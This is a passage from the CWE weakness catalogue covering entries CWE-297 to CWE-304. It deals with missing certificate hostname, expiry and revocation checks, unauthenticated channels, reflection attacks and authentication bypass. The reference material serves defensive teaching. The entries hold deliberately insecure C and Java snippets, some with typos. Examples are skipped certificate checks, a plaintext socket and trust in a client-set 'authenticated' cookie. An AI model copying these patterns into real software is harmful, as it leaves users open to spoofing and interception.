[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-297: Improper Validation of Certificate with Host Mismatch

Weakness ID : 297 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software communicates with a host that provides a certificate, but the software does not properly ensure that the certificate is actually associated with that host.

Extended Description

Even if a certificate is well-formed, signed, and follows the chain of trust, it may simply be a valid certificate for a different site than the site that the software is interacting with. If the certificate's host-specific data is not properly checked - such as the Common Name (CN) in the Subject or the Subject Alternative Name (SAN) extension of an X.509 certificate - it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data, impersonating a trusted host. In order to ensure data integrity, the certificate must be valid and it must pertain to the site that is being accessed.

Even if the software attempts to check the hostname, it is still possible to incorrectly check the hostname. For example, attackers could create a certificate with a name that begins with a trusted name followed by a NUL byte, which could cause some string-based comparisons to only examine the portion that contains the trusted name.

This weakness can occur even when the software uses Certificate Pinning, if the software does not verify the hostname at the time a certificate is pinned.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	295	Improper Certificate Validation	648
ChildOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1604
PeerOf	V	370	Missing Check for Certificate Revocation after Initial Check	821

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *The data read from the system vouched for by the certificate may not be from the expected system.*	
Authentication Other	Other *Trust afforded to the system in question - based on the malicious certificate - may allow for spoofing or redirection attacks.*	

Detection Methods

Dynamic Analysis with Manual Results Interpretation

Set up an untrusted endpoint (e.g. a server) with which the software will connect. Create a test certificate that uses an invalid hostname but is signed by a trusted CA and provide this certificate from the untrusted endpoint. If the software performs any operations instead of disconnecting and reporting an error, then this indicates that the hostname is not being checked and the test certificate has been accepted.

Black Box

When Certificate Pinning is being used in a mobile application, consider using a tool such as Spinner [REF-955]. This methodology might be extensible to other technologies.

Potential Mitigations

Phase: Architecture and Design

Fully check the hostname of the certificate and provide the user with adequate information about the nature of the problem and how to proceed.

Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.

Demonstrative Examples

Example 1:

The following OpenSSL code obtains a certificate and verifies it.

Example Language: C *(bad)*

```
cert = SSL_get_peer_certificate(ssl);
if (cert && (SSL_get_verify_result(ssl)==X509_V_OK)) {
    // do secret things
}
```

Even though the "verify" step returns X509_V_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is

for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate.

Observed Examples

Reference	Description
CVE-2012-5810	Mobile banking application does not verify hostname, leading to financial loss. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5810*
CVE-2012-5811	Mobile application for printing documents does not verify hostname, allowing attackers to read sensitive documents. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5811*
CVE-2012-5807	Software for electronic checking does not verify hostname, leading to financial loss. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5807*
CVE-2012-3446	Cloud-support library written in Python uses incorrect regular expression when matching hostname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3446*
CVE-2009-2408	Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2408*
CVE-2012-0867	Database program truncates the Common Name during hostname verification, allowing spoofing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0867*
CVE-2010-2074	Incorrect handling of '\0' character (NUL) in hostname verification allows spoofing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2074*
CVE-2009-4565	Mail server's incorrect handling of '\0' character (NUL) in hostname verification allows spoofing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4565*
CVE-2009-3767	LDAP server's incorrect handling of '\0' character (NUL) in hostname verification allows spoofing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3767*
CVE-2012-5806	Payment processing module does not verify hostname when connecting to PayPal using PHP fsockopen function. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5806*
CVE-2012-2993	Smartphone device does not verify hostname, allowing spoofing of mail services. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2993*
CVE-2012-5804	E-commerce module does not verify hostname when connecting to payment site. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5804*
CVE-2012-5824	Chat application does not validate hostname, leading to loss of privacy. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5824*
CVE-2012-5822	Application uses third-party library that does not validate hostname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5822*
CVE-2012-5819	Cloud storage management application does not validate hostname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5819*
CVE-2012-5817	Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5817*
CVE-2012-5784	SOAP platform does not verify the hostname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5784*
CVE-2012-5782	PHP library for payments does not verify the hostname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5782*
CVE-2012-5780	Merchant SDK for payments does not verify the hostname.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5780
CVE-2003-0355	Web browser does not validate Common Name, allowing spoofing of https sites. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0355*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	948	SFP Secondary Cluster: Digital Certificate	888	1935

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to validate host-specific certificate data

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-245]Martin Georgiev, Subodh Iyengar, Suman Jana, Rishita Anubhai, Dan Boneh and Vitaly Shmatikov. "The Most Dangerous Code in the World: Validating SSL Certificates in Non-Browser Software". 2012 October 5. < http://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf >.

[REF-243]Sascha Fahl, Marian Harbach, Thomas Muders, Matthew Smith and Lars Baumgärtner, Bernd Freisleben. "Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security". 2012 October 6. < http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf >.

[REF-249]Kenneth Ballard. "Secure programming with the OpenSSL API, Part 2: Secure handshake". 2005 May 3. < http://www.ibm.com/developerworks/library/l-openssl2/index.html >.

[REF-250]Eric Rescorla. "An Introduction to OpenSSL Programming (Part I)". 2001 October 5. < http://www.rtfm.com/openssl-examples/part1.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-955]Chris McMahon Stone, Tom Chothia and Flavio D. Garcia. "Spinner: Semi-Automatic Detection of Pinning without Hostname Verification". < http://www.cs.bham.ac.uk/~garciaf/publications/spinner.pdf >.2018-01-16.

CWE-298: Improper Validation of Certificate Expiration

Weakness ID : 298 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age.

Extended Description

When the expiration of a certificate is not taken into account, no trust has necessarily been conveyed through it. Therefore, the validity of the certificate cannot be verified and all benefit of the certificate is lost.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	672	Operation on a Resource after Expiration or Release	1310
ChildOf	B	295	Improper Certificate Validation	648
PeerOf	B	324	Use of a Key Past its Expiration Date	715
PeerOf	V	370	Missing Check for Certificate Revocation after Initial Check	821

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Other *The data read from the system vouched for by the expired certificate may be flawed due to malicious spoofing.*	
Authentication Other	Other *Trust afforded to the system in question - based on the expired certificate - may allow for spoofing attacks.*	

Potential Mitigations

Phase: Architecture and Design

Check for expired certificates and provide the user with adequate information about the nature of the problem and how to proceed.

Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the expiration.

Demonstrative Examples

Example 1:

The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.

Example Language: C *(bad)*

```
if (cert = SSL_get_peer(certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if ((X509_V_OK==foo) || (X509_V_ERR_CERT_HAS_EXPIRED==foo))
        //do stuff
```

If the call to SSL_get_verify_result() returns X509_V_ERR_CERT_HAS_EXPIRED, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
MemberOf	C	948	SFP Secondary Cluster: Digital Certificate	888	1935

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to validate certificate expiration

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-299: Improper Check for Certificate Revocation

Weakness ID : 299 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised.

Extended Description

An improper check for certificate revocation is a far more serious flaw than related certificate failures. This is because the use of any revoked certificate is almost certainly malicious. The most common reason for certificate revocation is compromise of the system in question, with the result that no legitimate servers will be using a revoked certificate, unless they are sorely out of sync.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	404	Improper Resource Shutdown or Release	877
ChildOf	B	295	Improper Certificate Validation	648
ParentOf	V	370	Missing Check for Certificate Revocation after Initial Check	821

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *Trust may be assigned to an entity who is not who it claims to be.*	
Integrity Other	Other *Data from an untrusted (and possibly malicious) source may be integrated.*	
Confidentiality	Read Application Data *Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.*	

Potential Mitigations

Phase: Architecture and Design

Ensure that certificates are checked for revoked status.

Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the revoked status.

Demonstrative Examples

Example 1:

The following OpenSSL code ensures that there is a certificate before continuing execution.

Example Language: C *(bad)*

```
if (cert = SSL_get_peer_certificate(ssl)) {
  // got a certificate, do secret things
```

Because this code does not use SSL_get_verify_results() to check the certificate, it could accept certificates that have been revoked (X509_V_ERR_CERT_REVOKED). The software could be communicating with a malicious host.

Observed Examples

Reference	Description
CVE-2011-2014	LDAP-over-SSL implementation does not check Certificate Revocation List (CRL), allowing spoofing using a revoked certificate. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2014*
CVE-2011-0199	Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0199*
CVE-2010-5185	Antivirus product does not check whether certificates from signed executables have been revoked. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-5185*

Reference	Description
CVE-2009-3046	Web browser does not check if any intermediate certificates are revoked. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3046*
CVE-2009-0161	chain: Ruby module for OCSP misinterprets a response, preventing detection of a revoked certificate. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0161*
CVE-2011-2701	chain: incorrect parsing of replies from OCSP responders allows bypass using a revoked certificate. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2701*
CVE-2011-0935	Router can permanently cache certain public keys, which would allow bypass if the certificate is later revoked. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0935*
CVE-2009-1358	chain: OS package manager does not properly check the return value, allowing bypass using a revoked certificate. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1358*
CVE-2009-0642	chain: language interpreter does not properly check the return value from an OSCP function, allowing bypass using a revoked certificate. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0642*
CVE-2008-4679	chain: web service component does not call the expected method, which prevents a check for revoked certificates. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4679*
CVE-2006-4410	Certificate revocation list not searched for certain certificates. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4410*
CVE-2006-4409	Product cannot access certificate revocation list when an HTTP proxy is being used. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4409*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	948	SFP Secondary Cluster: Digital Certificate	888	1935

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to check for certificate revocation

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-300: Channel Accessible by Non-Endpoint

Weakness ID : 300 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint.

Extended Description

In order to establish secure communication between two parties, it is often important to adequately verify the identity of entities at each end of the communication channel. Inadequate or inconsistent verification may result in insufficient or incorrect identification of either communicating entity. This can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1604
PeerOf	B	602	Client-Side Enforcement of Server-Side Security	1200
PeerOf	B	603	Use of Client-Side Authentication	1204

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Man-in-the-Middle / MITM :

Person-in-the-Middle / PiTM :

Monkey-in-the-Middle :

Monster-in-the-Middle :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Access Control	Read Application Data Modify Application Data Gain Privileges or Assume Identity *An attacker could pose as one of the entities and read or possibly modify the communication.*	

Potential Mitigations

Phase: Implementation

Always fully authenticate both ends of any communications channel.

Phase: Architecture and Design

Adhere to the principle of complete mediation.

Phase: Implementation

A certificate binds an identity to a cryptographic key to authenticate a communicating party. Often, the certificate takes the encrypted form of the hash of the identity of the subject, the public key, and information such as time of issue or expiration using the issuer's private key. The certificate can be validated by deciphering the certificate with the issuer's public key. See also X.509 certificate signature chains and the PGP certification structure.

Demonstrative Examples

Example 1:

In the Java snippet below, data is sent over an unencrypted channel to a remote server.

Example Language: Java *(bad)*

```
Socket sock;
PrintWriter out;
try {
    sock = new Socket(REMOTE_HOST, REMOTE_PORT);
    out = new PrintWriter(echoSocket.getOutputStream(), true);
    // Write data to remote host via socket output stream.
    ...
}
```

By eavesdropping on the communication channel or posing as the endpoint, an attacker would be able to read all of the transmitted data.

Observed Examples

Reference	Description
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing MITM attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1266*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	1909
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	1937

Notes

Maintenance

The summary identifies multiple distinct possibilities, suggesting that this is a category that must be broken into more specific weaknesses.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Man-in-the-middle (MITM)
WASC	32		Routing Detour

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	SEC06-J		Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
57	Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
94	Man in the Middle Attack
466	Leveraging Active Man in the Middle Attacks to Bypass Same Origin Policy
589	DNS Blocking
590	IP Address Blocking
612	WiFi MAC Address Tracking
613	WiFi SSID Tracking
615	Evil Twin Wi-Fi Attack

References

[REF-244]M. Bishop. "Computer Security: Art and Science". 2003. Addison-Wesley.

CWE-301: Reflection Attack in an Authentication Protocol

Weakness ID : 301 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

Simple authentication protocols are subject to reflection attacks if a malicious user can use the target machine to impersonate a trusted user.

Extended Description

A mutual authentication protocol requires each party to respond to a random challenge by the other party by encrypting it with a pre-shared key. Often, however, such protocols employ the same pre-shared key for communication with a number of different entities. A malicious user or an attacker can easily compromise this protocol without possessing the correct key by employing a reflection attack on the protocol.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	630
PeerOf		327	Use of a Broken or Risky Cryptographic Algorithm	720

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *The primary result of reflection attacks is successful authentication with a target machine -- as an impersonated user.*	

Potential Mitigations

Phase: Architecture and Design

Use different keys for the initiator and responder or of a different type of challenge for the initiator and responder.

Phase: Architecture and Design

Let the initiator prove its identity before proceeding.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
unsigned char *simple_digest(char *alg,char *buf,unsigned int len, int *olen) {
    const EVP_MD *m;
    EVP_MD_CTX ctx;
    unsigned char *ret;
    OpenSSL_add_all_digests();
    if (!(m = EVP_get_digestbyname(alg))) return NULL;
    if (!(ret = (unsigned char*)malloc(EVP_MAX_MD_SIZE))) return NULL;
    EVP_DigestInit(&ctx, m);
    EVP_DigestUpdate(&ctx,buf,len);
    EVP_DigestFinal(&ctx,ret,olen);
    return ret;
}
unsigned char *generate_password_and_cmd(char *password_and_cmd) {
    simple_digest("sha1",password,strlen(password_and_cmd)
    ...
    );
}
```

Example Language: Java *(bad)*

```
String command = new String("some cmd to execute & the password") MessageDigest encer =
MessageDigest.getInstance("SHA");
encer.update(command.getBytes("UTF-8"));
byte[] digest = encer.digest();
```

Observed Examples

Reference	Description
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	629	1873
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	1937

Notes

Maintenance

The term "reflection" is used in multiple ways within CWE and the community, so its usage should be reviewed.

Other

Reflection attacks capitalize on mutual authentication schemes in order to trick the target into revealing the secret shared between it and another valid user. In a basic mutual-authentication scheme, a secret is known to both the valid user and the server; this allows them to authenticate. In order that they may verify this shared secret without sending it plainly over the wire, they utilize a Diffie-Hellman-style scheme in which they each pick a value, then request the hash of that value as keyed by the shared secret. In a reflection attack, the attacker claims to be a valid user and requests the hash of a random value from the server. When the server returns this value and requests its own value to be hashed, the attacker opens another connection to the server. This time, the hash requested by the attacker is the value which the server requested in the first connection. When the server returns this hashed value, it is used in the first connection, authenticating the attacker successfully as the impersonated valid user.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Reflection attack in an auth protocol
OWASP Top Ten 2007	A7	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
90	Reflection Attack in Authentication Protocol

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-302: Authentication Bypass by Assumed-Immutable Data

Weakness ID : 302 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	807	Reliance on Untrusted Inputs in a Security Decision	1507
ChildOf	C	287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Phase: Implementation

Implement proper protection for immutable data (e.g. environment variable, hidden form fields, etc.)

Demonstrative Examples

Example 1:

In the following example, an "authenticated" cookie is used to determine whether or not a user should be granted access to a system.

Example Language: Java *(bad)*

```
boolean authenticated = new Boolean(getCookieValue("authenticated")).booleanValue();
if (authenticated) {
    ...
}
```

Of course, modifying the value of a cookie on the client-side is trivial, but many developers assume that cookies are essentially immutable.

Observed Examples

Reference	Description
CVE-2002-0367	DebPloit *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0367*
CVE-2004-0261	Web auth *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0261*
CVE-2002-1730	Authentication bypass by setting certain cookies to "true". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1730*
CVE-2002-1734	Authentication bypass by setting certain cookies to "true". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1734*
CVE-2002-2064	Admin access by setting a cookie. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2064*
CVE-2002-2054	Gain privileges by setting cookie.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2054
CVE-2004-1611	Product trusts authentication information in cookie. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1611*
CVE-2005-1708	Authentication bypass by setting admin-testing variable to true. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1708*
CVE-2005-1787	Bypass auth and gain privileges by setting a variable. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1787*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	1909
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	1935

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Bypass via Assumed-Immutable Data
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
The CERT Oracle Secure Coding Standard for Java (2011)	SEC02-J		Do not base security checks on untrusted sources

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
10	Buffer Overflow via Environment Variables
13	Subverting Environment Variable Values
21	Exploitation of Trusted Credentials
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
45	Buffer Overflow via Symbolic Links
77	Manipulating User-Controlled Variables
274	HTTP Verb Tampering

CWE-303: Incorrect Implementation of Authentication Algorithm

Weakness ID : 303 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The requirements for the software dictate the use of an established authentication algorithm, but the implementation of the algorithm is incorrect.

Extended Description

This incorrect implementation may allow authentication to be bypassed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Observed Examples

Reference	Description
CVE-2003-0750	Conditional should have been an 'or' not an 'and'. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0750*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	947	SFP Secondary Cluster: Authentication Bypass	888	1934

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Logic Error

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
90	Reflection Attack in Authentication Protocol

CWE-304: Missing Critical Step in Authentication

Weakness ID : 304 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software implements an authentication technique, but it skips a step that weakens the technique.

Extended Description

Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

